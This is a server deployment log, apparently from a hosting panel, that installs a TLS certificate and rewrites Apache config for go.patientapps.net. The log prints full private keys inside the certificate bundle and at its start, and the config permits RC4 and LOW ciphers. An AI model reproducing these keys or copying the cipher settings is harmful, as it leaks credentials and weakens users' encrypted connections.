mQJdrAj7MCCCZZUaUQGky6O3Gj3WiLrBkZjahnK5R7KFHdajMNbONVXskQKBgQCC
UUdPy0g+pz+JL/Rm6DcVCRm5kPiz+zM8tOpZret4gMZqMuLkQBxryea86UG/KQFk
eXETh6XucAbCNXhC0Fk0Y6yQ0GCwURSG6Ka2ndSYP0wGjnLhJcbEDiu4PfIXLZWc
4NkYKA2aEKDqo8ryQlS+62Q5JazL1Q6hPZD1VEjmEQKBgQCs+FB7HJbqSX1ZNSbY
3vFeogKWko4heMBuNDo0fJmH7V67oICZqJMAW3ci3J10jjZf3xhdvnYD2CSVjBVx
fsXXXy+06rhWllMO37V6mk/j7yY6sYuOpE43A/XFkSpTaoUh7yppHzNt3sDWpga9
snqkOoO9LYZaxgzngFu55swfsQ==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-28 06:01:00: Establishing a connection
2026-06-28 06:01:00: Establishing a connection
2026-06-28 06:01:00: 

PUT: /tmp/pkp103311

#!/bin/bash
if [ -d "/var/www/patientapps_go/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-28 06:01:00: 

chmod 755 /tmp/pkp103311; /tmp/pkp103311; rm /tmp/pkp103311

2026-06-28 06:01:00: 


0


2026-06-28 06:01:39: Establishing a connection
2026-06-28 06:01:39: 

PUT: /tmp/pkp515928

#!/bin/bash
temp_file=$(mktemp)
TARGET=8da89970bb61038d506425dda08af7c6.crt

cat > $temp_file <<'endmsg'
f2:47:46:1b:c7:41:cd:f7:79:0b:05:87:48:a2:17:ba

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBVKRg4Kkat1/gcapcKnFKEISMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI4MDUwMzA4WhcNMjYwOTI2MDUwMzA3WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC1yMkccxl7oCbel3g9AgOFXJlJBMHcQ6jJmFpx4xifwsyE/exnWjROHrBN
ttnnlpAYHc9aGU6qGhGfEySrVSWC5bp50Hz0LTuLVRMGvf0bmjSvgHgOVMwPQMQZ
pEi07ajQEzC9ZlK+lcb75U0UjWoUnSoCVsBELrp1buEKHohdfGEf5vFjF+ybl7L0
PQA2bcmT3kACLbbbi/hQI7G5hnzDP5VA4zwtlTfByOgs9QJgmJQhOa2R9jKtmfKh
ldowy2/DM6qorOX6h3O525l1C+C6XnK1jWtIj1bDFf0KwpoLaWw2mnBkX0vnAlDT
pNlyUlcPsh6u5y2EnOeeZoGMrmFfAgMBAAGjggIhMIICHTAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
BjvAVNb0QB0t3PTv/XX/1Zsdn9wwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4
+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmku
bGVuY3Iub3JnLzAdBgNVHREEFjAUghJnby5wYXRpZW50YXBwcy5uZXQwEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxl
bmNyLm9yZy8xOS5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdgDYCVU7lE96
/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ8M0bcwAAAEAwBHMEUCIQD2iBDJ
UhLAVnAS1zbfkhw/jzBJ8EeEq8zynKQx+tJU8QIgF61lFS5zjW+gFhgKSw+y3LOT
QMoC72HtyxJiJ0ZN6J8AfwAm42RuWGkhI7w0P0ckNZs3ks0kWojYFdOTM/2ZGKtH
IwAAAZ8M0bVuAAgAAAUAIvHH8wQDAEgwRgIhAOHJCsVewWgRzREpRy5hdR7bBQoJ
90AqjSaa4IsAeruIAiEAgYd/4okuNidzsK75hvPttpVE+fFI/tDMKvPEajNJek4w
DQYJKoZIhvcNAQELBQADggEBACVPGYbB0TtIbaHuqnKCoiyCDh/mZr/YihRxWBzL
0ly9P1QSvDrq+qYT1NNAZ4kDj2yE0tdw+JMdHsnZFHVBpOv7ENlD7034REJBpACC
/L/Q9g22A0d4MROF7JCQprUUAzgCopt49eerx3uVnbGDQZCQ7I57AJM/iUeH3a/r
N9BS9OxR6M08pGVLzrtj8vX2W/Yqj5SRPDVPIIr+ArtXccgqW9kZcSD0Klo9X4/M
0T4hBGPQSNi4tLm3xJiAzZwPZDLwYdJo/NnBZhPX7PdpHjpBaBY3CXbkzCkO+zLi
eYu0pGt/LKbzIFhAvNnVYueUP52ID/pQCo6Mp54JPLd21qI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC1yMkccxl7oCbe
l3g9AgOFXJlJBMHcQ6jJmFpx4xifwsyE/exnWjROHrBNttnnlpAYHc9aGU6qGhGf
EySrVSWC5bp50Hz0LTuLVRMGvf0bmjSvgHgOVMwPQMQZpEi07ajQEzC9ZlK+lcb7
5U0UjWoUnSoCVsBELrp1buEKHohdfGEf5vFjF+ybl7L0PQA2bcmT3kACLbbbi/hQ
I7G5hnzDP5VA4zwtlTfByOgs9QJgmJQhOa2R9jKtmfKhldowy2/DM6qorOX6h3O5
25l1C+C6XnK1jWtIj1bDFf0KwpoLaWw2mnBkX0vnAlDTpNlyUlcPsh6u5y2EnOee
ZoGMrmFfAgMBAAECggEARNm1gjb98droneoUulam6r31uLg6jKh7p08zAmuXCfuH
5t8dyM9bfDMXZ3fX9GUMUnYH8QIgz0BsaCmh+9qWCIvmIvkaOolfQhiIykbvNKMl
TUuFLThkyWooW+XjO9O/2n9KOJImyNSFtyZUGXKuOPyFyrj8vVZNfOjwBxslXvJ2
9p1Fgz0fB1cPzcx4fmePTS+sH3s5wUZ4jEX6zan7xotaFwSQ4KB2SzaD/2z9kr5M
NhB1PeHemtH8ar7iJoWvKbwqeOK3aaM+iJt4aULX9WvOuKAhFZahSIz+19mdiYQ9
JGJezczTEs7K228DRZ7ZTBLRaaDe9Xx3CX4deZDTEQKBgQDrWLyZk3LQKlU4eAHz
3tv9JCW9+X0uN8rAyi2O+o4m49oG98duuK3QefcP8hMS4PtjVx9gE1/ShIVzsqC/
nj3D2/JWHu35IHrp0NYCdX3NZFeZzFt8u9l+cFqTO8TIiC3/nWnSZJeEKVgIMPIA
PqC4UQNvSiu+D1KnA9jCDu196wKBgQDFvLnNMX4FO4FRFAqiSlOXSz4NqnkI5HAy
RsFccWeqFjDObmp0MSF/9CDP+ti5xKyRgU27jlByDrZ8iH2Kj9UVvup9Lsop7Js7
zD9QXUVACB8aYEkpIgKxFCW1tOoVtsftd/cOVM7jMvNuF3KxDjasrdmDBT9b1p0Q
Vlly7XcpXQKBgQCeE/h6X2PbFtQvHcyR9btmCQWg2ReQF8GERUjcpMcesCUeUQgQ
AtQdGA8vErZlE+FHFJnqepj+Wi0ZTX5TtwJdsDrSRewqTfrBWpilBi3968w7bdx1
p+eq2eS8yISg/XeIHj+aJh7vkqWiut2R9H8XzrKz6en/u2MU86yAjG5RCQKBgDpU
yybZ88gNXr+RPvXTIUefXaXgZSYXZXWfY8kmdyM4upsa/XJbT/uUA932rNpYR2QB
FfI/MEIFTxX7mbU3au+oSzo0hFTLxJtmTEMj0JrsCmjYgJyOuOaN//XTcb6IFgBa
hFoI8KMbU65lYmMSw1Q7UNASyzcHX3wDTQ3XOXDNAoGAV174wq7CtbSiUDVUThC2
PvuF7qhZNtrWm16eScuWHd8lxyxwegD+6PJKyBFYUOzEdrEd07+QCs970wqk2anF
Izk+Xj0DCG9zPYeEMyyjNFANsqXNxNj1NEgYWHID2uSS+CvxAovpYtxam7cnZoJD
w795ttQ6hZfWodAsQAi0rzY=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-28 06:01:39: 

chmod 755 /tmp/pkp515928; /tmp/pkp515928; rm /tmp/pkp515928

2026-06-28 06:01:39: 


dir=/etc/ssl/certs


2026-06-28 06:01:39: 

PUT: /tmp/pkp435801

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_go_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-28 06:01:39: 

chmod 755 /tmp/pkp435801; /tmp/pkp435801; rm /tmp/pkp435801

2026-06-28 06:01:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf 42
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>






2026-06-28 06:01:39: 

PUT: /tmp/pkp839278

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_go_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_go_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_go_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_go_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf= 1'
fi


2026-06-28 06:01:39: 

chmod 755 /tmp/pkp839278; /tmp/pkp839278; rm /tmp/pkp839278

2026-06-28 06:01:39: 




2026-06-28 06:01:39: 

PUT: /tmp/pkp233230

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-28 06:01:40: 

chmod 755 /tmp/pkp233230; /tmp/pkp233230; rm /tmp/pkp233230

2026-06-28 06:01:40: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-28 06:01:40: Establishing a connection
2026-06-28 06:01:40: 

PUT: /tmp/pkp245720

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-28 06:01:40: 

chmod 755 /tmp/pkp245720; /tmp/pkp245720; rm /tmp/pkp245720

2026-06-28 06:01:40: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
